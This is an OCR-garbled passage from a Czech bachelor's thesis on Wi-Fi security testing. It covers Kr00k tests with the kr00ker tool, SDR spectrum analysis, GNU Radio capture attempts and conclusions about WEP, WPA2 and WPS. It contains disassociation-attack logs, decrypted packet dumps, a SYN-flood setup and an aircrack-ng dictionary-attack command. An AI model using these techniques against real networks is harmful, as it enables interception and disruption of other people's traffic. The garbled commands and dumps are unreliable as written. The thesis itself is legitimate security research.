[14:06:34.620425] [+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
[14:06:38.633556][+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
[14:06:42.647456][+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
[14:06:46.660545] [+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
[14:06:50.671261][+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
[14:06:54.680027] [+] Disassociation frames (reason 7) sent to target f4 

:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17 
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T r a n s m i s s i o n Control P rotoco l 
T C P Syn traffic 

L o c a l IP: 

Target IP: 192.168.1.1 

Target po r t : 1-65535 B R a n d o m 

N u m b e r of packets : 1000 

N u m b e r of t i m e s : 10 

A ar: This app is for educational 
purposes only. Use it at your own risk! 

Obr. 4.46: Aplikace Packet Generator 

Postup je stejný jako u předchozího testu, t en tok rá t však mís to T C P pake tů 

budou poslány I C M P pakety. To by mělo způsobi t h romaděn í odpovědí na tyto 

pakety v bufřeru A P . Po poslání žádost í o odpojení ut i l i tou KrOOker by tak mohlo 

dojít ke š p a t n é m u zašifrování těchto odpovědí . 

N a výpisu 4.17 lze vidět , že ani A P ú toku nepodlehlo a ut i l i ta nedokáza la dešif­

rovat žádné pakety. D á se tak p ředpok láda t , že A P není zrani te lné vůči A P . 

N a obrázku 4.47 p řevza t ém z github s t r ánky uti l i ty [47] pak je vidět , jak by 

měl výpis vypadat při ú toku na zrani te lné zařízení. Je vidět , že ut i l i ta dokázala 

dešifrovat a lespoň dva pakety. 
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root@kalJ :-/Desktop# python3 1 <rOOker.py - i wlanOmon -b 0 0 : ^ J:D6 -c 00:( • • 9 
( / )( \ t \ / \ ( / ) ( ) l ; \ 

( ) / ( e ; It a ) ) í ) ) ) / 
( _ \ . _ ) ( _ \ / \ / ( \ ( >l : > 

[ I B : - 42: IE .201770][+] The Cl i e n t device 06: 5e w i l l be the target 
[16:. 12:17 .210943]1 [ + ] Disas sociation f rames ( reason 7) sent to target 00: t ^ ^ ^ H 5e as 
[16: 12: IE 268136] [+] Disassociation f rames ( reason 7) sent to target 0 0 : f l 0 : 5e as 
[16: 12: IS 1.325945] [+] Disassociation frames ( reason 7) sent to target 00: B 0 : 5e as 
[16:. 12:26 1.373161] [+] Disas sociation f rames (reason 7) sent to target 0 0 : ^ 0 : 5e as 
[16:. 42:20 1.914312] [+] Target 00:4 • l:5e i s vulnerable to KrOOk, decrypted 116 bytes 
0000 AA AA 03 00 00 00 08 00 45 00 00 6C BC 60 00 00 E..1." 
0010 40 11 09 ES OA 2A 00 3A 34 72 75 63 E9 96 OD 98 @ *. :4ruc.. 
0020 00 58 68 61 FF 10 00 4C E8 E6 08 43 B4 52 BA 10 .Xha. . .1 C.R Ĺ.. 
0030 90 7A CO AE 03 DC SB EF 00 00 74 AF BE DE 00 01 .z t . . . 
0040 12 6F 59 2B 45 90 2F 6A 00 67 16 9B IS 19 34 AE .oY+E./j.g.... 4. 
0050 EA 79 D5 CD C7 A2 D5 21 DA AF 7E 84 45 C8 42 66 y ! . . ~ . e . Bf 
0060 CO 74 C6 97 F2 44 28 78 48 01 62 52 81 B4 D3 36 . t . . . D(xH . I)R . . .6 
0070 3A • E 19 52 :.. R 
; [16 :42:20.916819][+] Saving encrypted and decrypted 1 pcap 1 f i l e s i n current f o l d e r 
[16: 12:21 .405922][+] Disassociation frames (reason 7 j sent to target 0 0 : ( ^ ^ ^ H WB: 5e as 
[16:. 42:21 .438845] [+] Target 00:A |:5e i s vulnerable to KrOOk, decrypted 1186 bytes 
0000 AA AA 03 00 00 00 08 00 45 00 04 9A FC 65 00 00 E e 
0010 40 11 C5 B4 OA 2A 00 3A 34 72 75 63 E9 96 OD 98 @ *. :4ruc.. 
0020 04 86 35 7A FF 10 04 7A E8 E6 08 43 B4 52 BA 10 ..5z. . .Z...C.R.. 
0030 90 7A CO AF 03 DC SB EF 00 00 74 AF BE DE 00 01 .z t . . . 
0040 12 6F 59 41 CD E4 76 AF 01 ID 29 FD OD 80 07 7E .OYA . . V . . . ) . . . 
0050 DC 90 CE 2B 94 E6 43 BC OD Dl DF 19 C6 C8 F7 71 ... + ..C  • q 
0060 65 44 8E AA 55 18 FE OF F l 74 29 FO 35 EF 4B 93 eD. .U t) .5. K. 
0070 68 7D A8 90 DA 90 2E BB 64 39 72 4E F3 C9 F5 69 h} d9rN.. . i 
ooso BB 42 49 A5 E9 1C E3 Dl 3F 25 F l DB D2 92 01 FB .BI 1% 
0090 99 86 FD 9A B3 5F 28 40 29 E9 D5 06 CO DD 93 B2 t@) 
OOaO A8 93 5B Dl A2 43 49 ED FE DE DD 06 01 C3 75 8F ..[..CI u. 
OObO 6A E3 C9 CF A9 F8 5D C6 5F 82 35 86 B4 FB D6 96 j ]._.5... 
OOcO B4 56 B6 30 B2 44 82 7E BE OC 56 EC AO 39 53 3C .V.O.D.-..V..9S< 
oodo OB 5F 7B 8C AO 4B BA B3 63 DA D2 5D 35 E7 D7 A4 . {..K . .C..]5. 
OOeO DF 97 F6 EE DE 17 C6 DE DD 78 4D EB 4E DA DE 2F xM.N, ./ 
OOfO 94 A6 5A 07 A6 A3 84 F l A4 DC E9 E7 20 98 59 A6 . .ľ  

* i L n 
Y. 

Obr. 4.47: Výpis ut i l i ty KrOOker při úspěšném ú toku [47] 

4 .9 Testování pomocí S D R 

Specifickou oblas t í pak je p rozkoumání možnos t í S D R v rámci tes tování W i F i sítí. 

Jak již bylo naznačeno S D R nabízí dvě možnost i . B u d pomocí něj lze analyzovat 

fyzickou vrstvu bezdrá tové komunikace, anebo pomocí S D R emulovat W i F i adap té r . 

Instalace nu tných driverů a softwaru je p o p s á n a v kapitole Software pro S D R . 

4.9 .1 Analýza fyzické v r s t v y 

Pro analýzu fyzické vrstvy bude využi t program SDRSharp spuš těný ve Windows 

prostředí . SDRSharp umožní vidět , jak je např ík lad spektrum ovlivňováno W i F i 

provozem. Toho se teoreticky dá využí t ke zkoumání rušení W i F i signálu, což může 

být i urči tý typ ú toku . 
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P r v n í m krokem po zapnu t í SDRSharp je s po t ř ebnými pluginy je nas tavení , k teré 

je zde ovšem velmi j ednoduché . Jako zdroj je v y b r á n L imeSDR, program by si jej 

po té měl nají t sám. Kl iknu t ím na ikonu nas tavení lze upravovat pří jem S D R . 

D o b r ý m testem toho, zda S D R funguje správně, je zkusit poslech F M rádia, 

čemuž je SDRSharp dobře přizpůsobený. Hlavní obrazovka SDRSharp obsahuje dva 

grafy - spekt rá ln í ana lyzá tor a vodopádový graf. Horní graf ukazuje závislost síly 

signálu na frekvenci, za t ímco spodní vodopádový graf navíc určuje i závislost těchto 

dvou veličin na čase. 

Bohužel b ě h e m tohoto testu se začal projevovat jeden problém, a to konkré tně 

velmi slabý zisk S D R . V rámci p á s m a F M vysílání (tedy 87,5 - 108 M H z ) šlo zachytit 

jen několik ex t r émně slabých signálů. Tato skutečnost může být způsobena mnoha 

problémy. Nabízí se nas tavení v aplikaci LimeSuite, kde lze provést urč i tou kalibraci 

zisku, ovšem faktem je, že v LimeSuite nelze nastavit o mnoho více, než by měly 

nastavovat samotné aplikace. Kalibrace tak nic nevyřešila. 

Jelikož se stejný p rob lém objevoval i v dalších testech, bylo vyzkoušeno několik 

verzí dr iverů v rámci obou používaných operačních systémů, opakované reinstalo-

vání softwaru, různé nas tavení , ale žádné z těchto řešení nezabralo. A n i výměna 

S D R za j iné S D R stejného modelu nepomohlo. P rob l ém se tak bohužel nepodař i lo 

vyřeši t , a protože bylo L i m e S D R jediné S D R , ke k te rému byl při tvorbě práce pří­

stup, vytvoři l tak velké omezení. J ed iným vysvět lením, k te ré zbývá a dává urči tý 

smysl, je hardware samotný, a to konkré tně přiložené antény, k teré jsou velmi malé 

a dá se p ředpok láda t , že i poměrně slabé. Bez dalších t e s tů toto však nelze s jistotou 

potvrdit. 

V rámci p á s m a kolem 2,4 G H z , na k t e r ém komunikuje A P lze i přes slabý zisk 

pozorovat urč i tou aktivitu. Velmi zde p o m á h á fyzická blízkost S D R a A P . Pokud je 

A P pouze zapnu té a klient je k němu př ipojený bez žádného většího provozu (viz 

obrázek 4.48), lze pozorovat občasné pulzy silnějšího signálu v okolí frekvence 2,415 

G H z , což odpov ídá k a n á l ů m 1 a 2. Tyto pulzy jsou s největší p ravděpodobnos t í 

zachycené jednot l ivé pakety. Toto lze dokázat k r á t k o d o b ý m simulováním nějakého 

provozu. Jako př íklad lze na klientovi provést př ihlášení k A P . Tato aktivi ta by se 

pak měla odrazit ve větší koncentraci pulzů na spektru, jak je vidět na vodopádovém 

grafu na obrázku 4.49. 

Pro ješ tě lepší demonstraci pak lze na klientovi simulovat velký provoz, opět 

pomocí aplikace Packet Generá tor . Po spuštění intenzivního posí lání T C P pake tů 

lze vidět mnohem vyšší a s tálou sílu signálu na spektru, jak je vidět na vodopádovém 

grafu na obrázku 4.50. 

V rámci tohoto testu, tak lze demonstrovat a pozorovat W i F i komunikaci v 

podobě samotného radiového signálu. Pozorování spektra lze teoreticky použí t k de­

tekci, či naopak generování, rušení W i F i komunikace. Tyto typy ú toků jsou technicky 
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velmi těžko detekovatelné, S D R se v tomto ohledu jeví jako ideální nás t ro j . 
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Obr. 4.49: Aplikace SDRSharp - zachycení provozu 

Obr. 4.50: Aplikace SDRSharp - zachycení silného provozu 
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4 .9 .2 Testování pomocí G N U R a d i o 

Jak bylo popsáno v kapitole Testovací programy, do programu G N U R a d i o lze p ř ida t 

doplněk gr-ieee802-ll. Balíček obsahuje několik bloků určených k pří jmu a zpraco­

vání W i F i komunikace. Jsou zde také p ř í t omny již vytvořené modely, k te ré umožní 

základní fungování W i F i zařízení - př í jem a odesí lání pake tů . Tyto p ř e d e m vy­

tvořené modely se pak nachází ve složce „examples". Pokud je balíček na ins ta lován 

manuá lně skrze Github, nachází se ve složce „gr- ieee802-11/examples" jejíž umís těn í 

pak závisí na manuá ln í instalaci. Pokud je balíček na ins ta lován pomocí P y B O M B S , 

nachází se modely ve složce „ s rc /g r - i eee802- l l / examples" , kterou je možné naj í t v 

ins ta lační složce G N U R a d i a . 

Jako prvn í je však p o t ř e b a spustit model „wifi phy hier.grc". Bez tohoto kroku 

by pak os t a tn í modely nefungovaly. Dále je také n u t n é spouš tě t G N U R a d i o s p rávy 

root protože jinak by program mohl mí t p roblém komunikovat s p ř ipo jeným S D R . 

V t e rminá lu lze G N U R a d i o spustit př íkazem: 

pybombs run gnuradio-companion 

V programu teď lze otevří t jednot l ivé modely. Po otevření „wifi phy hier.grc" 

je nutno provést funkci „Genera te flow graph", kterou lze nají t v horn í liště. Tato 

funkce vytvoř í skript „wifi phy hier.py", kterou pak os t a tn í modely využívají. 

Jako prvn í test je dobré zkusit model „wifi loopback.grc". Tento test nasimuluje 

W i F i komunikaci v p o d o b ě loopback smyčky nezávisle na S D R . V ý s t u p e m by pak 

měly být zachycené pakety, k teré lze zobrazit ve Wiresharku. Je tak otestováno, 

zda bloky fungují, jak mají a zda je vše na ins ta lováno správně. Nejdříve je po t ř eba 

vytvoř i t tento soubor. A b y šlo s imul tánně zachytávat a zobrazovat pakety, musí být 

soubor typu F I F O (First In First Out) . Lze jej vytvoř i t př íkazem: 

mkfifo / t m p / w i f i . b i n 

D a n á cesta jde samozřejmě změni t , ale je pak n u t n é j i změni t i v modelu. Po té 

už lze spustit model. Nejdřív je opě t p o t ř e b a vytvoř i t skript pomocí „Genera te the 

flow graph". Spuštění s amotné je pak provedeno pomocí „Execute the flow graph". 

V t é t o chvíli už by model měl do souboru uk láda t pakety. Zobrazení ve Wiresharku 

pak lze provést př íkazem: 

wireshark -k - i / t m p / w i f i . b i n 

Argument , , - i " značí, že soubor je typu F I F O . Celkový výs tup lze vidět na ob­

rázku 4.51. V levém okně je Wireshark a jsou zde zobrazeny zachycené pakety. V 

pravém okně je G U I modelu. Je zde zobrazen konstelační diagram, k te rý reprezen­

tuje modulovaný signál. Loopback tedy funguje, a dá se tak p ředpok láda t , že bloky 

jsou funkční. 
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Obr. 4.51: Model win loopback.grc a výs tup v aplikaci Wireshark 

Záchyt opravdové bezdrá tové komunikace lze provést např ík lad modelem „wifi rx.grc". 

Opě t je zde možnost propojení s Wiresharkem ste jným způsobem jako u předchozího 

modelu. V základu je v modelu použi t jako zdroj blok „UHD: U S R P Source", ten 

by si však nerozuměl s L i m e S D R . Tento blok je tedy nahrazen blokem „LimeSuite 

Source ( R X ) " , je p o t ř e b a po té d b á t na správné zapojení bloku do modelu. Model 

nabízí výběr př i j ímaného kaná lu a protokolu. V tomto př ípadě to tedy je kanál 1 a 

protokolem 802 . l i g , stejné nas tavení je provedeno i pro A P . 

win RX - + x 
File Edit view Go capture Analyze statistics Telephony wireless Tools Help 
B l d i n l i S \ * * 1 *•*•],- a a a $L ZOMH, -| 

| |-;.| ,• •• -a- .(•.-:-:• D - l session... + freq:| l|i 412.0 | llg 

1 1 1 1 1 1 
chanest 

® ^ 

41 0.5 -

Q. 
E 
< -0.5-

Time (usl 

41 0.5 -

Q. 
E 
< -0.5-

' — t mm ' m a 

ln-phase 

•] 

u . [o 

2 0.5-

3 
1 
Qr -0-5-

' — t mm ' m a 

ln-phase 

•] 

u . [o 

2 0.5-

3 
1 
Qr -0-5-

' — t mm ' m a 

ln-phase 

•] 

u . [o 

Obr. 4.52: Model wifi rx.grc a v ý s t u p v aplikaci Wireshark 
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Po spuštění modelu a Wiresharku by se opět měly začít zobrazovat zachycené 

pakety a v G U I modelu by měl být vidět modulovaný signál. Bohužel, to se nikdy v 

rámci tes tování nepovedlo. N a obou grafech modelu je vidět pouze š u m (viz obrázek 

4.52), Wireshark pak ukazuje p rázdný soubor. 

Zjistit, v čem spočívá problém, není lehké. D á se p ředpok láda t , že je to výsledek 

s labého zisku S D R , podobně jako u analýzy spektra, a jelikož se tento problém 

nepodař i lo vyřeši t , s experimentem nelze pokračovat . 

N a pouze teoretické rovině by pak tes tování probíhalo následujícím způsobem. 

Pomocí modelu by došlo k zachycení č tyřcestné výměny autentizace W P A mezi A P 

a klientem. Zda tomu tak je, lze prověřit ve Wiresharku. Soubor se zachyceným pro­

vozem je pak převeden do fo rmátu „.pcap". Pak už s tačí spustit aircrack-ng a provést 

slovníkový útok. V BackBox lze využít slovníku „password. ls t" , k te rý používá ut i l i ta 

John. Př íkaz by pak vypadal: 

a i r c r a c k - n g /tmp/wifi.pcap -w /usr/share/john/password. 
l s t 

Za p ředpok ladu , že se používané heslo nachází ve slovníku, by jej aircrack-ng měl 

najít . T í m t o způsobem tak byl pomocí S D R nasimulován ú tok na W i F i používající 

autentizaci W P A nebo W P A 2 . Stejně tak by šly simulovat i další útoky, i když 

je možné, že by zde došlo k p rob l émům spojeným s potenciá ln í nekompatibilitou 

G N U R a d i a a testovacích util i t . 

Je tedy bohužel t ř e b a konstatovat, že tento experiment s S D R nebyl úspěšný, 

i tak se však j edná o zaj ímavou technologii, k t e rá by k tes tování W i F i mohla být 

využi ta . 

P ř i s rovnání S D R a W i F i a d a p t é r u sice teoreticky vychází S D R jako univerzál­

nější nás t ro j , prakticky se však dá říct, že pro klasické tes tování zabezpečení je lepší 

zůs ta t u klasických adap té rů . Technologie, k t e rá S D R umožní a d a p t é r nahradit sice 

existuje, ale o tázkou je, v čem je takový způsob tes tování lepší. Testovací software je 

větš inou vy tvářen k použi t í s adap t é r y a stejně tak W i F i a d a p t é r y jsou vy ráběny k 

práci s W i F i . Je t aké p o t ř e b a zmíni t , že obecně jsou adap t é r y levnější než S D R . Vý­

hodou S D R je pak možnost sledování radiového spektra. To by mohlo př inést nové 

způsoby testování; jako zaj ímavý n á p a d se např ík lad jeví detekce rušení signálu. 

4 . 1 0 Shrnutí testování bezpečnosti 

V rámci tes tování bezpečnost i byly provedeny ú toky na protokoly W E P , W P A 2 

a W P S . B y l v y b r á n vhodný hardware a software. Větš ina t e s tů byla provedena v 

operačn ím sys tému K a l i a využívala některé ze základních testovacích programů, 

k teré tento sys tém nabízí . Jako testovací hardware byl použi t testovací počí tač , 
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W i F i adap t é r a Softwarově definované rádio. B y l a vy tvořena j ednoduchá síť skláda­

jící se z klientského zařízení - smartphonu a př í s tupového bodu - routeru. Pomocí 

tes tovacího softwaru a hardwaru pak byla tato síť o tes tována. 

U protokolu W E P byly provedeny ú toky na Shared K e y autentizaci, ú tok na 

šifrování W E P a ú tok Caffe Latte. K t ě m t o ú t o k ů m byla využi t testovací program 

aircrack-ng. P r v n í dva ú toky dopadly úspěšně , ú tok Caffe Latte byl neúspěšný. B y l y 

tak prakticky demons t rovány hlavní zranitelnosti tohoto protokolu a ukázáno , j a k ý m 

způsobem jeho bezpečnost testovat. 

U protokolu W P A 2 byl o tes tován slovníkový ú tok na slabé heslo a ú tok KrOOk. 

Dále byly tes tované zařízení o tes továny na zranitelnost K R A C K . Slovníkový ú tok 

byl proveden několika způsoby za pomoci util i t aircrack-ng a Cowpatty. Všechny 

testy produkovaly žádoucí výsledek a odhalily používané heslo. B y l a tak p rokázána 

zranitelnost sítě používající slabé hesla a došlo k demonstraci tes tování takové sítě. 

Útok KrOOk byl proveden pomocí ut i l i ty KrOOker, pomocí níž bylo ukázáno , že tes­

tovaná zařízení nejsou vůči tomuto ú toku zrani te lná . Bylo demons t rováno, jak tuto 

zranitelnost ověřit. 

Zranitelnost K R A C K byla nejprve ověřena testovacími skripty krackattack-scripts. 

B y l ukázán postup instalace a postup při tes tování . Vůči K R A C K jsou zrani te lná 

jak uživatelská zařízení, tak př ís tupové body využívající služby Fast Transition. V 

př ípadě tes tování nebyl použi t p ř í s tupový bod, k te rý tuto službu využívá, a tak ne­

bylo možno tento test dokončit . Pomocí skr ip tů tak bylo ukázáno , že obě zařízení 

nejsou zrani te lná . 

Dále došlo k nav rhnu t í a naprogramován í v las tn í utility, k t e rá tyto testovací 

skripty zužitkuje. U t i l i t a využije vstupu uživatele k au tomat i zovanému provedení 

testovacích skr ip tů . Umí provést testy klientských zařízení i testy př í s tupových bodů . 

Dokáže vytvoř i t po t ř ebné konfigurační soubory, řešit n e s t a n d a r d n í stavy a jejím vý­

stupem je celková evaluace bezpečnost i zařízení. Tato ut i l i ta byla ve finále o tes tována 

a byla u k á z á n a její funkčnost. 

V posledních testech byla p rozkoumána možnost využi t í Softwarově definovaného 

rád ia (SDR) k tes tování bezpečnost i W i F i . Nejdříve pomocí něj došlo k analýze radi­

ového spektra v oblasti k m i t o č t ů používaných W i F i sí těmi. Zde byla u k á z á n a mož­

nost využi t í S D R k detekci síly signálu. Nakonec byl ozkoušen doplněk do programu 

G N U R a d i a , k te rý př idává možnos t zachytávat a zpracovávat W i F i komunikaci. U 

obou t e s tů byl nalezen prob lém velmi nízkého zisku S D R . Test v G N U R a d i u se tedy 

nepovedl a pomocí S D R nikdy nedošlo k zachycení W i F i komunikace, což znemož­

nilo další tes tování . Celkově tak došlo k demonstraci slabin protokolů I E E E 802.11 

a byly ukázány metody k tes tování těchto slabin. 
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Závěr 

Tato baka lá ř ská práce se zabývá problematikou tes tování bezpečnostn ích protokolů 

v rodině s t a n d a r d ů I E E E 802.11. Kyberne t i cká bezpečnost je velmi žhavé t é m a a 

vzhledem ke stále rostoucí popula r i t ě bezdrá tových W i - F i sítí bude o tázka jejich 

bezpečnost i stále důležitější. Vzhledem k tomu, j a k á data si mil iardy uživatelů po 

těch to sítí posílá, hraje tes tování jejich bezpečnos t i velmi zásadní roli v rámci celého 

IT. 

Starš í standard W E P je naprosto odstrašuj íc ím př ík ladem, jak řešit bezpečnost 

dat. V rámci analýzy tohoto protokolu byly v práci vytyčeny hlavní zranitelnosti 

a vektory ú toků . W E P naprosto selhává již od samého začá tku komunikace mezi 

uživatelem a routerem. Jeho autentizace Shared K e y je dokonce tak nebezpečná, 

že je lepší j i komple tně vypnout a uživatele neautentizovat. Protokol t aké selhává 

v otázce zajištění integrity a důvěrnost i dat, jelikož ú točn ík může s p řenášenými 

daty manipulovat, aniž by byl detekován. I s amotné šifrování je naprosto nedosta­

čující, š p a t n á implementace šifrovacího algoritmu, a předevš ím špa tné generování 

inicializačních vektorů dělají zjištění sebebezpečnějšího hesla tr iviální záležitostí . 

I s ohledem na dobu, ve k teré byl W E P vydán , je nutno se pozastavit nad t ím, 

jak takový protokol vůbec mohl být s tandardizován. 

Řešení přinesl protokol W P A , respektive W P A 2 . Jeho autentizace je velmi bez­

pečná, dokáže zajistit integritu a důvěrnost a šifrování je jen těžko prolomitelné. 

Pomyslnou Achil lovou patou tohoto protokolu je fakt, že jeho síla je vždy pouze 

ú m ě r n á síle zvoleného hesla. Spa tně zvolené a slabé heslo dělá protokol jen malou 

překážkou pro ú točníka . Dalš ím p rob lémem může být fakt, že po získání hesla může 

ú točník číst i komunikaci, k t e r á není u rčená jemu. 

Dalším, co se týče bezpečnost i , ne úplně šťastně řešeným protokolem je W P S . 

Tento protokol, jehož cílem bylo zjednoduši t už iva te lům práci s nas tavováním sítí 

a k te rý je n á s t a v b o u na předchozí protokoly, m á potenciá l uděla t i W P A 2 síť s 

t í m nejsilnějším heslem lehce prolomitelnou. To, dohromady s lenivostí některých 

výrobců rou te rů , k teř í ignorují základní pravidla pro bezpečnou implementaci tohoto 

protokolu, způsobuje to, že je doporučeno funkci W P S zakáza t a nepoužívat j i . 

Řešením všech těch to problémů by mohl být na horizontu vyhlížející protokol 

W P A 3 , k te rý se pomalu, ale j is tě objevuje jako bezpečnos tn í protokol W i - F i sítí. 

Tento protokol řeší mnoho problémů spojených s W P A 2 . P r o z a t í m je jeho podpora 

poměrně nízká, ale časem bude stoupat a d á se p ředpok láda t , že v příšt ích letech 

se stane d o m i n a n t n í m bezpečnos tn ím standardem. Bohužel i u tohoto protokolu již 

byly objeveny zranitelnosti. Ukazuje se tak, že návrh bezpečnostn ích protokolů je 

velice obt ížný úkol. 

Jak bylo demons t rováno v t é to práci , tes tování bezpečnos t i dnes již není příliš 
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obt ížnou záležitosti a ke zneužit í analyzovaných zrani te lnost í s tačí lehce dos tupný 

hardware a software. V rámci prakt ické části byly ukázány testovací ut i l i ty jako 

aircrack-ng, reaver a další. Společně s operačn ím sys témem K a l i Linux, u rčeným k 

pene t r ačn ímu testování , tvoří poměrně solidní platformu pro evaluaci bezpečnost i 

daných sítí. Pro účely tes tování zařízení vůči zranitelnosti K R A C K došlo k vytvoření 

v las tn í utility, k t e rá automatizuje a zjednodušuje proces testování . U t i l i t a splnila 

svou úlohu a bylo demons t rováno její využit í . 

V další části p ráce došlo k práci se Softwarově definovaným rádiem. J e d n á se o 

technologii, k t e rá by se k tes tování bezpečnost i dala využí t . I když testy samotné 

nebyly příliš úspěšné, existují urči té oblasti, kde se S D R může s tá t m o c n ý m nás t ro­

jem pro evaluaci zabezpečení sítě. S D R předevš ím nabízí možnos t zkoumání fyzické 

vrstvy a analýzu bezdrá tového signálu. V porovnán í s t rad ičn ími W i F i adaptéry , tak 

S D R m á urči té výhody, ovšem momen tá lně se jeví jako jistější používání adap té rů . 

Může se zdá t , že zabezpeči t bezdrá tovou sít je t éměř nemožné a n e m á to smysl, 

ale není tomu tak. Pokud jsou dodržována urč i tá pravidla, zvolena silná hesla, vy­

pnuty nebezpečné protokoly jako W P S , je možné vytvoř i t síť, do které není jednodu­

ché proniknout. Navíc je vždy lepší mí t a lespoň nějaké zabezpečení než vůbec žádné . 

Je p o t ř e b a si uvědomit , že na n ě m záleží bezpečnost a soukromí i těch nej citlivějších 

dat. 
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